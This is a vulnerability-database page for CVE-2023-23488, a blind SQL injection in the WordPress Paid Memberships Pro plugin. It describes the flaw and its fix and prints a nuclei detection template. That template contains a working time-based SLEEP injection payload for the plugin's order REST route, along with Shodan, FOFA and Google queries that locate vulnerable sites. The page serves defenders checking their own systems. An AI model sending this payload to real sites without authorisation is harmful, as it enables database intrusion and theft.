HexBrain

Browse / CVEs / CVE-2023-23488

CVE-2023-23488· strangerstudios / paid memberships pro· CWE-89

WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection

criticalseverity
9.8CVSS score
92.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Paid Memberships Pro plugin before 2.9.8 contains a blind SQL injection vulnerability in the 'code' parameter of the /pmpro/v1/order REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Upgrade to WordPress Paid Memberships Pro version 2.9.8 or later to mitigate this vulnerability.

How to confirm it

Send: @timeout: 30s ; GET /wp-content/plugins/paid-memberships-pro/js/updates.js
Positive when: duration_1>=7 and status_code_1 != 403 and contains(body_2, "pmpro_updates")

Run it with nuclei: nuclei -id CVE-2023-23488 -u <target>

The full check
id: CVE-2023-23488

info:
  name: WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection
  author: dwisiswant0
  severity: critical
  description: |
    WordPress Paid Memberships Pro plugin before 2.9.8 contains a blind SQL injection vulnerability in the 'code' parameter of the /pmpro/v1/order REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Paid Memberships Pro version 2.9.8 or later to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-2
    - https://wordpress.org/plugins/paid-memberships-pro/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23488
    - http://packetstormsecurity.com/files/171661/WordPress-Paid-Memberships-Pro-2.9.8-SQL-Injection.html
    - https://github.com/CVEDB/PoC-List
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-23488
    cwe-id: CWE-89
    epss-score: 0.9246
    epss-percentile: 0.99826
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: time-based-sqli,cve2023,cve,paid-memberships-pro,wordpress,tenable,packetstorm,wp-plugin,sqli,wp,strangerstudios,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration_1>=7
          - status_code_1 != 403 # Wordfence
          - contains(body_2, "pmpro_updates")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from